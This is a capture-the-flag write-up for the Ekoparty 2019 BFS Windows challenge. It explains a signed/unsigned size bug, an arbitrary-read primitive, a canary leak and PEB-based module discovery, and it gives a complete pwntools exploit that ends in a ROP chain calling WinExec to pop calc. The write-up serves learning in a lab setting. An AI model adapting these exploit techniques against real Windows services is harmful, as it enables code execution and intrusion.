BFS CTF 2019 - Eko (windows/pwn)

This problem had no initial description. It was given to me with the offer of getting a calc.exe sticker if I managed to pop calc. Eko2019

The binary provided I need to pwn is a PE32+ Windows executable. Running the binary prints the following:

[+] Ekoparty 2019 - BFS challenge
[+] Server listening
[+] Waiting for client connections

and then hangs. Using the references to these strings in memory finds us the function that's the most likely entry for our program's logic. Most symbols for functions were available after loading a MS symbol server into IDA. Some reversing still needed to be done on local variables to understand their purpose.

This is the code after some cleanup.

Looking at the decompiled code for this function in IDA, we see that it opens a socket on port 54321, and waits for a connection. Upon receiving a connection, it passes the established connection to another function for further processing. The function handleMessage first checks the first 16 bytes received from the new connection, expecting the first 8 bytes to be the cookie Eko2019\0, followed by an 8 byte value representing the size of the following write. Adding this header struct to IDA cleaned up the decompiled code a bit.

This is the important part of the handleMessage function after some cleanup.

Aside from the header check, a couple things stand out immediately. The first is that the size check in the header uses a signed value when checking its upper bound, but an unsigned value when using it to read additional input from the connection. This means that it's possible to write more data than the size of the Dst buffer, resulting in a stack overflow. However, attempting to use this stack overflow to get code execution directly is no good, as there is a stack canary located just below the header struct in the stack (an IDA decompiler bug hid the canary logic in the decompiled code).

The other significant logic in the decompiled code that stands out are the calls to GetCurrentProcess and WriteProcessMemory. GetCurrentProcess just takes the current process and returns a process handle.

WriteProcessMemory is more interesting. This is the function signature of WriteProcessMemory, taken from Microsoft's Win32 docs:

BOOL WriteProcessMemory(
  HANDLE  hProcess,
  LPVOID  lpBaseAddress,
  LPCVOID lpBuffer,
  SIZE_T  nSize,
  SIZE_T  *lpNumberOfBytesWritten
);

This function takes nSize bytes of memory from the location lpBuffer and writes into to lpBaseAddress inside of hProcess. In this program's case, it's going to write 8 bytes from a buffer created by the function call to reverse_str with the args set to dst_loc[v8=0x3E]. The value is going to be written into memory and executed as a function with v9 as its argument, and the result will be sent to us by the call to send. The address of the value we're sent comes from dst_loc, which was set to a series of values in main.

// this sets the possible values for the data that's written during WriteProcessMemory
  for ( i = 0; i < 0x100; ++i )
  {
    argv = (const char **)dst_loc;
    dst_loc[i] = ((unsigned __int64)i << 56) + 0x488B01C3C3C3C3i64; // 0xC3 are rets
  }

Earlier I mentioned that the stack overflow we get from abusing the signed comparison and unsigned use of the size we pass in couldn't be used to get code execution, since there is a stack canary. However, we can still use this stack overflow to overwrite anything between the Dst buffer and the end of the stack for the current function.

  char *Dst; // [rsp+60h] [rbp-238h]
  int v8; // [rsp+260h] [rbp-38h]
  __int64 *v9; // [rsp+268h] [rbp-30h]
  eko_s buf; // [rsp+270h] [rbp-28h]
  SOCKET s; // [rsp+2A0h] [rbp+8h]

In particular we see here that v8 and v9 can be overwritten when Dst is overflown. v8 is the variable used to index into dst_loc to obtain the address whose value we're going to be sent, and v9 is the argument passed to the function selected by v8. We can overwrite v8 and have it set to any index of dst_loc we want, and we can override v9 to get any argument value for the function we select from v8.

Using a small script we can generate all values contained inside of dst_loc to see if there are any useful values to use as shellcode (we could also have read them from memory after being generated but this was about just as easy).

from pwn import *
start = 0x488B01C3C3C3C3

context.arch='amd64'
p64b = make_packer(64, endian='big', sign='unsigned')

instr = []
for i in range(256):
    print disasm(p64b(( i << 56 ) + start))

Of the values generated by this script, 2 of them are useful for our needs.

Index 0x65
   0:   65 48 8b 01             mov    rax,QWORD PTR gs:[rcx] // returns the value at gs:v9
   4:   c3                      ret    
   5:   c3                      ret    
   6:   c3                      ret    
   7:   c3                      ret

Index 0x66
   0:   66 48 8b 01             data16 mov rax,QWORD PTR [rcx] // returns *v9
   4:   c3                      ret    
   5:   c3                      ret    
   6:   c3                      ret    
   7:   c3                      ret

Why are these 2 snippets of shellcode useful? In the case of index 0x66 it gives us the ability to read any 8 bytes from program memory that we know the address to. For index 0x65 we need to know more about Windows internals.

On AMD64 (Linux) based systems, the segment register gs is used to obtain CPU-related information for the process during runtime. However, for Windows systems the gs register is used to store the Thread Information Block (TIB). This block contains a lot of useful information the thread may need to lookup when switching in and out of context. One particularly useful item the TIB stores at index 0x60 is the Process Environment Block (PEB), which stores the lowest-level information needed in userspace and the highest level information needed in kernelspace. From here at offset 0x18 we can find the address to the ldr, a data structure used to store pointers to all loaded modules available in the process' space. It stores this information in the form of a linked list known as the InMemoryOrderModuleList (IMOML), whose head can be accessed at offset 0x20. The structure of an entry in this list is as follows:

typedef struct _LDR_DATA_TABLE_ENTRY {
    PVOID Reserved1[2];
    LIST_ENTRY InMemoryOrderLinks; // ptr to struct that holds linked list pointers
    PVOID Reserved2[2];
    PVOID DllBase;                 // base address of the loaded module
    PVOID EntryPoint;
    PVOID Reserved3;
    UNICODE_STRING FullDllName;
    BYTE Reserved4[8];
    PVOID Reserved5[3];
    union {
        ULONG CheckSum;
        PVOID Reserved6;
    };
    ULONG TimeDateStamp;
} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;

The first DLL that's loaded into our process is our binary, so reading offset 0x20 (we start at the list entry and move 0x20 down from there) will get us the base address of our binary. With that, we now have all the tools we need to start forming an exploit.

While the vulnerability above is pretty useful, there's still a lot of work to be done if we want to pop calc on this program. We still need to get the following things:

• a canary leak so we can form a ropchain

• an address to WinExec or a similar function that lets us execute arbitrary PEs

• a ropchain to put our exploit together

curr_addr = stack_base
while True:
    curr_addr -= 0x8
    print 'curr addr: ' + str(curr_addr)
    curr_val = u64(send(p64(0x66) + p64(curr_addr)))
    print 'curr val: ' + str(curr_val)
    if curr_val == known_val:
        break
curr_addr -= known_to_rsp_offset # comparing to stack value 0x8 lower than stack top
print 'stack top addr: ' + str(curr_addr)

# xor original canary with rsp value for true canary
true_canary = canary_addr ^ curr_addr
print 'true canary: ' + str(hex(true_canary))

from pwn import *
from ctypes import *

class header_s(Structure):
    _fields_ = [
            ("cookie", c_char * 8),
            ("size", c_int64)
            ]

def to_str(struct):
    return string_at(addressof(struct), sizeof(struct))

def send(arg):
    p = remote('localhost', 54321)
    header = header_s("Eko2019", -448)
    p.sendline(to_str(header))
    p.sendline('A'*0x1ff + arg + 'AAAAAAA')
    return p.recv()

canary_offset = 0xC240 # canary offset in memory is hardcoded for windows
known_addr_offset = 0x1000 # known addr location is baseDLL + this offset


# loop 1 - get address of PEB using gs:0x60
get_peb = p64(0x65) + p64(0x60)
peb_addr = u64(send( get_peb ))
print 'peb: ' + str(peb_addr)
# loop 2 - get ldr address using cs:<PEB+0x18>
get_ldr = p64(0x66) + p64(peb_addr + 0x18)
ldr_addr = u64(send( get_ldr ))
print 'ldr: ' + str(ldr_addr)
# loop 3 - get InMemoryOrderModuleList adress using cs:<ldr+0x20> (ekoEntry)
get_imoml = p64(0x66) + p64(ldr_addr + 0x20)
imoml_addr = u64(send( get_imoml ))
print 'imoml: ' + str(imoml_addr)
# loop 4 - get DLL base address using cs:<InMemoryOrderModuleList+0x30>
# (offset by 0x10 from where pointer located in linked list so 0x20)
get_dll = p64(0x66) + p64(imoml_addr + 0x20)
dll_addr = u64(send( get_dll ))
print 'dll: ' + str(dll_addr)
# loop 5 - leak original stack canary with cs:<base+canary_offset>
get_canary = p64(0x66) + p64(dll_addr + canary_offset)
canary_addr = u64(send( get_canary ))
print 'canary: ' + str(canary_addr)
# loop 6 - get stackBase from TIB
get_stackBase = p64(0x65) + p64(0x8)
stack_base = u64(send( get_stackBase ))
print 'stack base: ' + str(stack_base)
# loop 6.5 - loop until we get stack top (== to known_offset + known_to_rsp_offset)
# using some string address that only gets used once here
known_val = dll_addr + known_addr_offset
known_to_rsp_offset = 0x8
print 'known val: ' + str(known_val)

curr_addr = stack_base
while True:
    curr_addr -= 0x8
    print 'curr addr: ' + str(curr_addr)
    curr_val = u64(send(p64(0x66) + p64(curr_addr)))
    print 'curr val: ' + str(curr_val)
    if curr_val == known_val:
        break
curr_addr -= known_to_rsp_offset # comparing to stack value 0x8 lower than stack top
print 'stack top addr: ' + str(curr_addr)

# xor original canary with rsp value for true canary
true_canary = canary_addr ^ curr_addr
print 'true canary: ' + str(hex(true_canary))
# loop 7 - get ntdll block address using cs:<ekoEntry+0x10>)
# (offset by 0x10 from where pointer located in linked list so no offset)
get_ntdll = p64(0x66) + p64(imoml_addr)
ntdll_addr = u64(send( get_ntdll ))
print 'ntdll: ' + str(ntdll_addr)
# loop 8 - get kernel32 block address using cs:<ntdll+0x10>
get_kernel = p64(0x66) + p64(ntdll_addr)
kernel_addr = u64(send( get_kernel ))
print 'kernel: ' + str(kernel_addr)
# loop 9 - get kernel32 base address using cs:<kernel+0x30>
get_kernel_base = p64(0x66) + p64(kernel_addr + 0x20)
kernel_base = u64(send( get_kernel_base ))
print 'kernel_base: ' + str(kernel_base)
# compute address of WinExec in kernel32.dll
# can also do LoadLibraryA on smb share UNC name to run custom DLL
WinExec_offset = 0x5e800
winexec_addr = kernel_base + WinExec_offset

# location where we write the path name arg for WinExec
dst_stack = curr_addr + 0x68

# ROPchain from ropper to write our path name from dst into rcx (windows arg1 register) and call WinExec
# pop rax; ret;
pop_rax = dll_addr + 0x1167
# pop rbx; ret;
pop_rbx = dll_addr + 0x16f9
# mov rcx, rbx; call rax
mov_rcx_rbx_call_rax = dll_addr + 0x6081

# loop 10 - ROP chain to call LoadLibrary with calc.exe DLL
p = remote('localhost', 54321)
header = header_s("Eko2019", -448)
p.sendline(to_str(header))
p.sendline('A'*7 + 'C:\\Windows\\System32\\calc.exe\x00'.ljust(0x1f8,'A') + p64(0x66) + p64(kernel_addr + 0x20) +
        'A'*0x10 + p64(true_canary) + 'A'*0x10 +
        p64(pop_rax) +
        p64(winexec_addr) +
        p64(pop_rbx) +
        p64(dst_stack) +
        p64(mov_rcx_rbx_call_rax) +
        'A'*7)

# pop :)
pause()

I'm not much of a fan of Windows, but pwning it was pretty cool. This problem was what I wish more CTF problem writers would use as inspiration when writing Windows problems, as most of the time it's some boring and unfun .NET or VB reversing problem. Working on a Windows problem instead of a Linux problem also meant I came away with significantly more new knowledge, since this was a domain I rarely see or work on during CTFs.

Note: I left out in this writeup the hours I spent trying to understand the Windows internals structure from within Windbg because, in reflection, I've realized that much of this problem could have been done completely statically. There's always a fine balance that needs to be found between spending time looking for information and paths to approach a problem, and it's one of the skills I still need to work on when it comes to CTFs and also my career.

• in-depth windows internals information

• struct layout for TIB

• history on segment registers

• struct layout PEB

• getting WinExec